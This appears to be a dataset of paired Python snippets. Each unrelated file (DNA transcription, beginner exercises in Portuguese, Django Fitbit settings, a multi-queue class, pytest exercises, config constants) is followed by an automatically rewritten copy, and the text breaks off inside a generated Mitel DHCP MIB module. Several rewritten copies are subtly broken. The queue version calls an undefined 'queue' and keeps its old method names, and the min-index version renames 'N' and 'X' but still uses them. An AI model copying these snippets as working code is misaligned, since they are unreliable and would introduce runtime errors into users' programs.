"""DNA na RNA""" dna_rna = {'G': 'C', 'C': 'G', 'T': 'A', 'A': 'U'} def transcribe_rna(dna): rna = '' for i in dna: rna += DNA_RNA[i] return rna def validate_dna(dna): return set(dna).issubset(set('GCTA')) def main(): while True: my_dna = input('Type DNA sequence: ') if not validate_dna(my_dna): answer = input('Invalid DNA sequence, try again (y/n)? ') if answer.lower() != 'y': break continue rna = transcribe_rna(my_dna) print(f'Transcribed RNA: {rna}') if __name__ == '__main__': main()
def value_2_class(value): if value < 0.33: return [1, 0, 0] elif 0.33 <= value < 0.66: return [0, 1, 0] else: # I know that he is not necessary the else but I like it return [0, 0, 1]
def value_2_class(value): if value < 0.33: return [1, 0, 0] elif 0.33 <= value < 0.66: return [0, 1, 0] else: return [0, 0, 1]
lista = [] maior = 0 menor = 9 ** 9 maiorn = list() menorn = list() while True: pessoa = [str(input('Nome: ')), float(input('Peso: '))] lista.append(pessoa[:]) co = str(input('Continuar?[S/N]: ')) if co in 'Nn': break for l in lista: if l[1] >= maior: if l[1] > maior and l != lista[0]: maiorn.pop() maior = l[1] maiorn.append(l[0]) if l[1] <= menor: if l[1] < menor and l != lista[0]: menorn.pop() menor = l[1] menorn.append(l[0]) print(f'Maior peso: {maior}Kg de {maiorn}') print(f'Menor peso: {menor}Kg de {menorn}')
lista = [] maior = 0 menor = 9 ** 9 maiorn = list() menorn = list() while True: pessoa = [str(input('Nome: ')), float(input('Peso: '))] lista.append(pessoa[:]) co = str(input('Continuar?[S/N]: ')) if co in 'Nn': break for l in lista: if l[1] >= maior: if l[1] > maior and l != lista[0]: maiorn.pop() maior = l[1] maiorn.append(l[0]) if l[1] <= menor: if l[1] < menor and l != lista[0]: menorn.pop() menor = l[1] menorn.append(l[0]) print(f'Maior peso: {maior}Kg de {maiorn}') print(f'Menor peso: {menor}Kg de {menorn}')
# all jobs for letters created via the api must have this filename LETTER_API_FILENAME = 'letter submitted via api' LETTER_TEST_API_FILENAME = 'test letter submitted via api' # S3 tags class Retention: KEY = 'retention' ONE_WEEK = 'ONE_WEEK'
letter_api_filename = 'letter submitted via api' letter_test_api_filename = 'test letter submitted via api' class Retention: key = 'retention' one_week = 'ONE_WEEK'
class Queue: def __init__(self, number_of_queues, array_lenght): self.number_of_queues = number_of_queues self.array_length = array_lenght self.array = [-1] * array_lenght self.front = [-1] * number_of_queues self.back = [-1] * number_of_queues self.next_array = list(range(1, array_lenght)) self.next_array.append(-1) self.free = 0 def isEmpty(self, queue_number): return(True if self.front[queue_number] == -1 else False) def isFull(self, queue_number): return(True if self.free == -1 else False) def EnQueue(self, item, queue_number): if(self.isFull(queue_number)): print("Queue Full") return next_free = self.next_array[self.free] if(self.isEmpty(queue_number)): self.front[queue_number] = self.back[queue_number] = self.free else: self.next_array[self.back[queue_number]] = self.free self.back[queue_number] = self.free self.next_array[self.free] = -1 self.array[self.free] = item self.free = next_free def DeQueue(self, queue_number): if(self.isEmpty(queue_number)): print("Queue Empty") return front_index = self.front[queue_number] self.front[queue_number] = self.next_array[front_index] self.next_array[front_index] = self.free self.free = front_index return(self.array[front_index]) if __name__ == "__main__": q = Queue(3, 10) q.EnQueue(15, 2) q.EnQueue(45, 2) q.EnQueue(17, 1) q.EnQueue(49, 1) q.EnQueue(39, 1) q.EnQueue(11, 0) q.EnQueue(9, 0) q.EnQueue(7, 0) print("Dequeued element from queue 2 is {}".format(q.DeQueue(2))) print("Dequeued element from queue 1 is {}".format(q.DeQueue(1))) print("Dequeued element from queue 0 is {}".format(q.DeQueue(0)))
class Queue: def __init__(self, number_of_queues, array_lenght): self.number_of_queues = number_of_queues self.array_length = array_lenght self.array = [-1] * array_lenght self.front = [-1] * number_of_queues self.back = [-1] * number_of_queues self.next_array = list(range(1, array_lenght)) self.next_array.append(-1) self.free = 0 def is_empty(self, queue_number): return True if self.front[queue_number] == -1 else False def is_full(self, queue_number): return True if self.free == -1 else False def en_queue(self, item, queue_number): if self.isFull(queue_number): print('Queue Full') return next_free = self.next_array[self.free] if self.isEmpty(queue_number): self.front[queue_number] = self.back[queue_number] = self.free else: self.next_array[self.back[queue_number]] = self.free self.back[queue_number] = self.free self.next_array[self.free] = -1 self.array[self.free] = item self.free = next_free def de_queue(self, queue_number): if self.isEmpty(queue_number): print('Queue Empty') return front_index = self.front[queue_number] self.front[queue_number] = self.next_array[front_index] self.next_array[front_index] = self.free self.free = front_index return self.array[front_index] if __name__ == '__main__': q = queue(3, 10) q.EnQueue(15, 2) q.EnQueue(45, 2) q.EnQueue(17, 1) q.EnQueue(49, 1) q.EnQueue(39, 1) q.EnQueue(11, 0) q.EnQueue(9, 0) q.EnQueue(7, 0) print('Dequeued element from queue 2 is {}'.format(q.DeQueue(2))) print('Dequeued element from queue 1 is {}'.format(q.DeQueue(1))) print('Dequeued element from queue 0 is {}'.format(q.DeQueue(0)))
hora = float(input('INFORME AS HORAS POR FAVOR: ')) if hora <=11: print ('BOM DIA!!!') if hora >= 12 and hora <= 17: print ('BOA TARDE!!!') if hora >= 18 and hora <= 23: print ('BOA NOITE!!!') print ('OBRIGADO, VOLTE SEMPRE!!!')
hora = float(input('INFORME AS HORAS POR FAVOR: ')) if hora <= 11: print('BOM DIA!!!') if hora >= 12 and hora <= 17: print('BOA TARDE!!!') if hora >= 18 and hora <= 23: print('BOA NOITE!!!') print('OBRIGADO, VOLTE SEMPRE!!!')
# Your Fitbit access credentials, which must be requested from Fitbit. # You must provide these in your project's settings. FITAPP_CONSUMER_KEY = None FITAPP_CONSUMER_SECRET = None # The verification code for verifying subscriber endpoints FITAPP_VERIFICATION_CODE = None # Where to redirect to after Fitbit authentication is successfully completed. FITAPP_LOGIN_REDIRECT = '/' # Where to redirect to after Fitbit authentication credentials have been # removed. FITAPP_LOGOUT_REDIRECT = '/' # By default, don't subscribe to user data. Set this to true to subscribe. FITAPP_SUBSCRIBE = False # Only retrieve data for resources in FITAPP_SUBSCRIPTIONS. The default value # of none results in all subscriptions being retrieved. Override it to be an # OrderedDict of just the items you want retrieved, in the order you want them # retrieved, eg: # from collections import OrderedDict # FITAPP_SUBSCRIPTIONS = OrderedDict([ # ('foods', ['log/caloriesIn', 'log/water']), # ]) # The default ordering is ['category', 'resource'] when a subscriptions dict is # not specified. FITAPP_SUBSCRIPTIONS = None # The initial delay (in seconds) when doing the historical data import FITAPP_HISTORICAL_INIT_DELAY = 10 # The delay (in seconds) between items when doing requests FITAPP_BETWEEN_DELAY = 5 # By default, don't try to get intraday time series data. See # https://dev.fitbit.com/docs/activity/#get-activity-intraday-time-series for # more info. FITAPP_GET_INTRADAY = False # The verification code used by Fitbit to verify subscription endpoints. Only # needed temporarily. See: # https://dev.fitbit.com/docs/subscriptions/#verify-a-subscriber FITAPP_VERIFICATION_CODE = None # The template to use when an unavoidable error occurs during Fitbit # integration. FITAPP_ERROR_TEMPLATE = 'fitapp/error.html' # The default message used by the fitbit_integration_warning decorator to # inform the user about Fitbit integration. If a callable is given, it is # called with the request as the only parameter to get the final value for the # message. FITAPP_DECORATOR_MESSAGE = 'This page requires Fitbit integration.' # Whether or not a user must be authenticated in order to hit the login, # logout, error, and complete views. FITAPP_LOGIN_REQUIRED = True # Whether or not intraday data points with step values of 0 are saved # to the database. FITAPP_SAVE_INTRADAY_ZERO_VALUES = False # The default amount of data we pull for each user registered with this app FITAPP_DEFAULT_PERIOD = 'max' # The collection we want to recieve subscription updates for # (e.g. 'activities'). None defaults to all collections. FITAPP_SUBSCRIPTION_COLLECTION = None # The default fitbit scope, None defaults to all scopes, otherwise take # a list of scopes (eg. ["activity", "profile", "settings"]) FITAPP_SCOPE = None
fitapp_consumer_key = None fitapp_consumer_secret = None fitapp_verification_code = None fitapp_login_redirect = '/' fitapp_logout_redirect = '/' fitapp_subscribe = False fitapp_subscriptions = None fitapp_historical_init_delay = 10 fitapp_between_delay = 5 fitapp_get_intraday = False fitapp_verification_code = None fitapp_error_template = 'fitapp/error.html' fitapp_decorator_message = 'This page requires Fitbit integration.' fitapp_login_required = True fitapp_save_intraday_zero_values = False fitapp_default_period = 'max' fitapp_subscription_collection = None fitapp_scope = None
# -*- coding: utf-8 -*- def main(): s = input()[::-1] w_count = 0 ans = 0 for si in s: if si == 'W': w_count += 1 else: ans += w_count print(ans) if __name__ == '__main__': main()
def main(): s = input()[::-1] w_count = 0 ans = 0 for si in s: if si == 'W': w_count += 1 else: ans += w_count print(ans) if __name__ == '__main__': main()
src = ['board.c'] component = aos_board_component('board_mk3060', 'moc108', src) aos_global_config.add_ld_files('memory.ld.S') build_types="" linux_only_targets="athostapp blink coapapp helloworld http2app id2_app itls_app linkkit_gateway linkkitapp meshapp modbus_demo mqttapp otaapp prov_app tls udataapp udevapp ulocationapp yts"
src = ['board.c'] component = aos_board_component('board_mk3060', 'moc108', src) aos_global_config.add_ld_files('memory.ld.S') build_types = '' linux_only_targets = 'athostapp blink coapapp helloworld http2app id2_app itls_app linkkit_gateway linkkitapp meshapp modbus_demo mqttapp otaapp prov_app tls udataapp udevapp ulocationapp yts'
class Config(object): pass class Production(Config): ELASTICSEARCH_HOST = 'elasticsearch' JANUS_HOST = 'janus' class Development(Config): ELASTICSEARCH_HOST = '127.0.0.1' JANUS_HOST = '127.0.0.1'
class Config(object): pass class Production(Config): elasticsearch_host = 'elasticsearch' janus_host = 'janus' class Development(Config): elasticsearch_host = '127.0.0.1' janus_host = '127.0.0.1'
string = input() vowels = {'a', 'e', 'i', 'o', 'u'} v = sum(1 for char in string if char.lower() in vowels) print(v, len(string)-v)
string = input() vowels = {'a', 'e', 'i', 'o', 'u'} v = sum((1 for char in string if char.lower() in vowels)) print(v, len(string) - v)
#Copyright ReportLab Europe Ltd. 2000-2016 #see license.txt for license details #history http://www.reportlab.co.uk/cgi-bin/viewcvs.cgi/public/reportlab/trunk/reportlab/lib/enums.py __version__='3.3.0' __doc__=""" Container for constants. Hardly used! """ TA_LEFT = 0 TA_CENTER = 1 TA_RIGHT = 2 TA_JUSTIFY = 4
__version__ = '3.3.0' __doc__ = '\nContainer for constants. Hardly used!\n' ta_left = 0 ta_center = 1 ta_right = 2 ta_justify = 4
_base_ = [ '../../_base_/models/convnext/convnext-tiny.py', './dataset.py', './schedule.py', './default_runtime.py', ] custom_hooks = [dict(type='EMAHook', momentum=4e-5, priority='ABOVE_NORMAL')] model = dict( type='TextureMixClassifier', style_weight=1.5, content_weight=0.5, mix_lr=0.03, mix_iter=15, backbone=dict( type='ConvNeXtTextureMix', ), head=dict( num_classes=20, ), ) # model = dict( # pretrained='data/convnext-tiny_3rdparty_32xb128-noema.pth', # head=dict( # num_classes=20, # ), # backbone=dict( # frozen_stages=4, # ), # )
_base_ = ['../../_base_/models/convnext/convnext-tiny.py', './dataset.py', './schedule.py', './default_runtime.py'] custom_hooks = [dict(type='EMAHook', momentum=4e-05, priority='ABOVE_NORMAL')] model = dict(type='TextureMixClassifier', style_weight=1.5, content_weight=0.5, mix_lr=0.03, mix_iter=15, backbone=dict(type='ConvNeXtTextureMix'), head=dict(num_classes=20))
N = int(input()) X = input().split() for i in range(N): X[i] = int(X[i]) minimum = min(X) result = X.index(minimum) + 1 print(result)
n = int(input()) x = input().split() for i in range(N): X[i] = int(X[i]) minimum = min(X) result = X.index(minimum) + 1 print(result)
def generate(event, context): print(event) response = { "statusCode": 200, "body": "this worked" } return response
def generate(event, context): print(event) response = {'statusCode': 200, 'body': 'this worked'} return response
__title__ = 'Voice Collab' __description__ = "Let's harness the power of voice to collaborate and interact with your code and the people you work with" __email__ = "santhoshkdhana@gmail.com" __author__ = 'Santhosh Kumar' __github__ = 'https://github.com/Santhoshkumard11/Voice-Collab' __license__ = 'MIT' __copyright__ = 'Copyright @2022 - Santhosh Kumar'
__title__ = 'Voice Collab' __description__ = "Let's harness the power of voice to collaborate and interact with your code and the people you work with" __email__ = 'santhoshkdhana@gmail.com' __author__ = 'Santhosh Kumar' __github__ = 'https://github.com/Santhoshkumard11/Voice-Collab' __license__ = 'MIT' __copyright__ = 'Copyright @2022 - Santhosh Kumar'
# IBM Preliminary Test direction,floor,floor_requests,z = input(),int(input()),sorted(list(map(int,input().split())),reverse=True),0 if(floor_requests[-1]>=0 and floor_requests[0]<=15 and (direction=="UP" or direction=="DN")): while(floor_requests[z]>floor): z+=1 print(*(floor_requests[:z][::-1]+floor_requests[z:]),sep="\n") if(direction=="UP") else print(*(floor_requests[z:]+floor_requests[:z][::-1]),sep="\n") else: print("Invalid")
(direction, floor, floor_requests, z) = (input(), int(input()), sorted(list(map(int, input().split())), reverse=True), 0) if floor_requests[-1] >= 0 and floor_requests[0] <= 15 and (direction == 'UP' or direction == 'DN'): while floor_requests[z] > floor: z += 1 print(*floor_requests[:z][::-1] + floor_requests[z:], sep='\n') if direction == 'UP' else print(*floor_requests[z:] + floor_requests[:z][::-1], sep='\n') else: print('Invalid')
""" Bar configuration constants """ # # Colours # BG_COL = "#1b1b1b" BG_SEC_COL = "#262626" FG_COL = "#9e9e9e" FG_SEC_COL = "#616161" HL_COL = "#7cafc2" # # Placeholder space # BATTERY_PLACEHOLDER = " " WORKSPACE_PLACEHOLDER = " " CLOCK_PLACEHOLDER = " " VOLUME_PLACEHOLDER = " " GENERAL_PLACEHOLDER = " " # # Fonts # TEXT_FONT = "DroidSansMono-8" ICON_FONT = "FontAwesome"
""" Bar configuration constants """ bg_col = '#1b1b1b' bg_sec_col = '#262626' fg_col = '#9e9e9e' fg_sec_col = '#616161' hl_col = '#7cafc2' battery_placeholder = ' ' workspace_placeholder = ' ' clock_placeholder = ' ' volume_placeholder = ' ' general_placeholder = ' ' text_font = 'DroidSansMono-8' icon_font = 'FontAwesome'
""" This file will generate output that will be in error because the name of this module (tests) clashes with the @tests annotation. """ def this_wont_work(): pass
""" This file will generate output that will be in error because the name of this module (tests) clashes with the @tests annotation. """ def this_wont_work(): pass
""" A python file must contain a prefix to be detected by pytest as a test file. You can run the test using: pytest tests/must_have_a_prefx.py To allow pytest to find this file add the test_ prefix, e.g.: test_basics.py once done you can run it using: pytest test.py """ def test_assertions(): """ Most of the times we will use assertions to run our tests. An assert accepts a boolean value, either True or False. Most of the times we have a single assert, but we can use more than one. If the value: - is True the test is considered passed - is False the test is considered failing Make this test pass, """ assert False, "Fix me" def test_one_is_two(): """ This will raise an assertion error: E AssertionError: One is not two! E assert 1 == 2 When the test passes the message will not contribute to the noise. As exercise try to fix this test. """ assert 1 == 2, 'One is not two!' def this_will_not_run(): """ To run this function needs to have the test_ prefix, e.g.: As exercise try to rename this test. """ assert False, "This will not fail"
""" A python file must contain a prefix to be detected by pytest as a test file. You can run the test using: pytest tests/must_have_a_prefx.py To allow pytest to find this file add the test_ prefix, e.g.: test_basics.py once done you can run it using: pytest test.py """ def test_assertions(): """ Most of the times we will use assertions to run our tests. An assert accepts a boolean value, either True or False. Most of the times we have a single assert, but we can use more than one. If the value: - is True the test is considered passed - is False the test is considered failing Make this test pass, """ assert False, 'Fix me' def test_one_is_two(): """ This will raise an assertion error: E AssertionError: One is not two! E assert 1 == 2 When the test passes the message will not contribute to the noise. As exercise try to fix this test. """ assert 1 == 2, 'One is not two!' def this_will_not_run(): """ To run this function needs to have the test_ prefix, e.g.: As exercise try to rename this test. """ assert False, 'This will not fail'
def compute_single_neuron_isis(spike_times, neuron_idx): """Compute a vector of ISIs for a single neuron given spike times. Args: spike_times (list of 1D arrays): Spike time dataset, with the first dimension corresponding to different neurons. neuron_idx (int): Index of the unit to compute ISIs for. Returns: isis (1D array): Duration of time between each spike from one neuron. """ # Extract the spike times for the specified neuron single_neuron_spikes = spike_times[neuron_idx] # Compute the ISIs for this set of spikes isis = np.diff(single_neuron_spikes) return isis single_neuron_isis = compute_single_neuron_isis(spike_times, neuron_idx=283) with plt.xkcd(): plt.hist(single_neuron_isis, bins=50, histtype="stepfilled") plt.axvline(single_neuron_isis.mean(), color="orange", label="Mean ISI") plt.xlabel("ISI duration (s)") plt.ylabel("Number of spikes") plt.legend()
def compute_single_neuron_isis(spike_times, neuron_idx): """Compute a vector of ISIs for a single neuron given spike times. Args: spike_times (list of 1D arrays): Spike time dataset, with the first dimension corresponding to different neurons. neuron_idx (int): Index of the unit to compute ISIs for. Returns: isis (1D array): Duration of time between each spike from one neuron. """ single_neuron_spikes = spike_times[neuron_idx] isis = np.diff(single_neuron_spikes) return isis single_neuron_isis = compute_single_neuron_isis(spike_times, neuron_idx=283) with plt.xkcd(): plt.hist(single_neuron_isis, bins=50, histtype='stepfilled') plt.axvline(single_neuron_isis.mean(), color='orange', label='Mean ISI') plt.xlabel('ISI duration (s)') plt.ylabel('Number of spikes') plt.legend()
sequence = input("Enter your sequence: ") sequence_list = sequence[1:len(sequence)-1].split(", ") subset_sum = False for element in sequence_list: for other in sequence_list: if int(element) + int(other) == 0: subset_sum = True print(str(subset_sum))
sequence = input('Enter your sequence: ') sequence_list = sequence[1:len(sequence) - 1].split(', ') subset_sum = False for element in sequence_list: for other in sequence_list: if int(element) + int(other) == 0: subset_sum = True print(str(subset_sum))
# AUTOGENERATED BY NBDEV! DO NOT EDIT! __all__ = ["index", "modules", "custom_doc_links", "git_url"] index = {"get_py_files": "01_nbutils.ipynb", "get_cells_one_nb": "01_nbutils.ipynb", "write_code_cell": "01_nbutils.ipynb", "py_to_nb": "01_nbutils.ipynb", "get_module_text": "01_nbutils.ipynb", "write_module_text": "01_nbutils.ipynb", "clear_all_modules": "01_nbutils.ipynb", "simple_export_one_nb": "01_nbutils.ipynb", "simple_export_all_nb": "01_nbutils.ipynb", "get_corr": "02_tabutils.ipynb", "corr_drop_cols": "02_tabutils.ipynb", "rf_feat_importance": "02_tabutils.ipynb", "plot_fi": "02_tabutils.ipynb", "TabularPandas.export": "02_tabutils.ipynb", "load_pandas": "02_tabutils.ipynb", "create": "03_Tracking.ipynb", "append": "03_Tracking.ipynb", "delete": "03_Tracking.ipynb", "print_keys": "03_Tracking.ipynb", "get_stat": "03_Tracking.ipynb", "get_stats": "03_Tracking.ipynb", "print_best": "03_Tracking.ipynb", "graph_stat": "03_Tracking.ipynb", "graph_stats": "03_Tracking.ipynb", "run_bash": "04_kaggle.ipynb", "update_datset": "04_kaggle.ipynb", "create_dataset": "04_kaggle.ipynb", "download_dataset_metadata": "04_kaggle.ipynb", "download_dataset_content": "04_kaggle.ipynb", "download_dataset": "04_kaggle.ipynb", "add_library_to_dataset": "04_kaggle.ipynb", "bin_df": "05_splitting.ipynb", "kfold_Stratified_df": "05_splitting.ipynb"} modules = ["nbutils.py", "tabutils.py", "tracking.py", "kaggle.py", "splitting.py"] doc_url = "https://Isaac.Flath@gmail.com.github.io/perutils/" git_url = "https://github.com/Isaac.Flath@gmail.com/perutils/tree/{branch}/" def custom_doc_links(name): return None
__all__ = ['index', 'modules', 'custom_doc_links', 'git_url'] index = {'get_py_files': '01_nbutils.ipynb', 'get_cells_one_nb': '01_nbutils.ipynb', 'write_code_cell': '01_nbutils.ipynb', 'py_to_nb': '01_nbutils.ipynb', 'get_module_text': '01_nbutils.ipynb', 'write_module_text': '01_nbutils.ipynb', 'clear_all_modules': '01_nbutils.ipynb', 'simple_export_one_nb': '01_nbutils.ipynb', 'simple_export_all_nb': '01_nbutils.ipynb', 'get_corr': '02_tabutils.ipynb', 'corr_drop_cols': '02_tabutils.ipynb', 'rf_feat_importance': '02_tabutils.ipynb', 'plot_fi': '02_tabutils.ipynb', 'TabularPandas.export': '02_tabutils.ipynb', 'load_pandas': '02_tabutils.ipynb', 'create': '03_Tracking.ipynb', 'append': '03_Tracking.ipynb', 'delete': '03_Tracking.ipynb', 'print_keys': '03_Tracking.ipynb', 'get_stat': '03_Tracking.ipynb', 'get_stats': '03_Tracking.ipynb', 'print_best': '03_Tracking.ipynb', 'graph_stat': '03_Tracking.ipynb', 'graph_stats': '03_Tracking.ipynb', 'run_bash': '04_kaggle.ipynb', 'update_datset': '04_kaggle.ipynb', 'create_dataset': '04_kaggle.ipynb', 'download_dataset_metadata': '04_kaggle.ipynb', 'download_dataset_content': '04_kaggle.ipynb', 'download_dataset': '04_kaggle.ipynb', 'add_library_to_dataset': '04_kaggle.ipynb', 'bin_df': '05_splitting.ipynb', 'kfold_Stratified_df': '05_splitting.ipynb'} modules = ['nbutils.py', 'tabutils.py', 'tracking.py', 'kaggle.py', 'splitting.py'] doc_url = 'https://Isaac.Flath@gmail.com.github.io/perutils/' git_url = 'https://github.com/Isaac.Flath@gmail.com/perutils/tree/{branch}/' def custom_doc_links(name): return None
# # PySNMP MIB module MITEL-DHCP-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/MITEL-DHCP-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 20:02:56 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, ConstraintsIntersection, ConstraintsUnion, SingleValueConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsIntersection", "ConstraintsUnion", "SingleValueConstraint", "ValueRangeConstraint") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") Unsigned32, Counter64, Bits, TimeTicks, enterprises, NotificationType, MibScalar, MibTable, MibTableRow, MibTableColumn, iso, Gauge32, Integer32, Counter32, ObjectIdentity, MibIdentifier, ModuleIdentity, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Unsigned32", "Counter64", "Bits", "TimeTicks", "enterprises", "NotificationType", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "iso", "Gauge32", "Integer32", "Counter32", "ObjectIdentity", "MibIdentifier", "ModuleIdentity", "IpAddress") RowStatus, DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "DisplayString", "TextualConvention") mitelRouterDhcpGroup = ModuleIdentity((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3)) mitelRouterDhcpGroup.setRevisions(('2005-11-07 12:00', '2003-03-21 12:31', '1999-03-01 00:00',)) if mibBuilder.loadTexts: mitelRouterDhcpGroup.setLastUpdated('200511071200Z') if mibBuilder.loadTexts: mitelRouterDhcpGroup.setOrganization('MITEL Corporation') class MitelDhcpServerProtocol(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("none", 1), ("bootp", 2), ("dhcp", 3), ("bootp-or-dhcp", 4)) class MitelDhcpServerOptionList(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 1)) namedValues = NamedValues(("time-offset", 2), ("default-router", 3), ("time-server", 4), ("name-server", 5), ("dns-server", 6), ("log-server", 7), ("cookie-server", 8), ("lpr-server", 9), ("impress-server", 10), ("resource-location-server", 11), ("host-name", 12), ("boot-file-size", 13), ("merit-dump-file-name", 14), ("domain-name", 15), ("swap-server", 16), ("root-path", 17), ("extension-path", 18), ("ip-forwarding", 19), ("non-local-source-routing", 20), ("policy-filter", 21), ("max-datagram-reassembly", 22), ("default-ip-time-to-live", 23), ("path-MTU-aging-timeout", 24), ("path-MTU-plateau-table", 25), ("interface-MTU-value", 26), ("all-subnets-are-local", 27), ("broadcast-address", 28), ("perform-mask-discovery", 29), ("mask-supplier", 30), ("perform-router-discovery", 31), ("router-solicitation-address", 32), ("static-route", 33), ("trailer-encapsulation", 34), ("arp-cache-timeout", 35), ("ethernet-encapsulation", 36), ("tcp-default-ttl", 37), ("tcp-keepalive-interval", 38), ("tcp-keepalive-garbage", 39), ("nis-domain-name", 40), ("nis-server", 41), ("ntp-server", 42), ("vendor-specific-information", 43), ("netbios-ip-name-server", 44), ("netbios-ip-dgram-distrib-server", 45), ("netbios-ip-node-type", 46), ("netbios-ip-scope", 47), ("x-window-font-server", 48), ("x-window-display-manager", 49), ("nis-plus-domain", 64), ("nis-plus-server", 65), ("tftp-server-name", 66), ("bootfile-name", 67), ("mobile-ip-home-agent", 68), ("smtp-server", 69), ("pop3-server", 70), ("nntp-server", 71), ("www-server", 72), ("finger-server", 73), ("irc-server", 74), ("streettalk-server", 75), ("streettalk-directory-assistance-server", 76), ("requested-ip", 50), ("lease-time", 51), ("option-overload", 52), ("message-type", 53), ("server-identifier", 54), ("parameter-request-list", 55), ("message", 56), ("max-dhcp-message-size", 57), ("renewal-time-value-t1", 58), ("rebinding-time-value-t2", 59), ("vendor-class-identifier", 60), ("client-identifier", 61), ("subnet-mask", 1)) mitel = MibIdentifier((1, 3, 6, 1, 4, 1, 1027)) mitelProprietary = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4)) mitelPropIpNetworking = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8)) mitelIpNetRouter = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1)) mitelIdentification = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 1)) mitelIdCallServers = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 1, 2)) mitelIdCsIpera1000 = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4)) mitelDhcpRelayAgentEnable = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone(2)).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpRelayAgentEnable.setStatus('current') mitelDhcpRelayAgentMaxHops = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpRelayAgentMaxHops.setStatus('current') mitelDhcpRelayAgentBroadcast = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpRelayAgentBroadcast.setStatus('current') mitelDhcpRelayAgentServerTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3), ) if mibBuilder.loadTexts: mitelDhcpRelayAgentServerTable.setStatus('current') mitelDhcpRelayAgentServerEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpRelayAgentServerAddr")) if mibBuilder.loadTexts: mitelDhcpRelayAgentServerEntry.setStatus('current') mitelDhcpRelayAgentServerAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpRelayAgentServerAddr.setStatus('current') mitelDhcpRelayAgentServerName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpRelayAgentServerName.setStatus('current') mitelDhcpRelayAgentServerStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 3), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpRelayAgentServerStatus.setStatus('current') mitelDhcpServerGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5)) mitelDhcpServerGeneralGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1)) mitelDhcpServerGeneralEnable = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2), ("autoconfig", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerGeneralEnable.setStatus('current') mitelDhcpServerGeneralGateway = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerGeneralGateway.setStatus('current') mitelDhcpServerGeneralRefDhcpServer = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerGeneralRefDhcpServer.setStatus('current') mitelDhcpServerGeneralPingStatus = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 4), 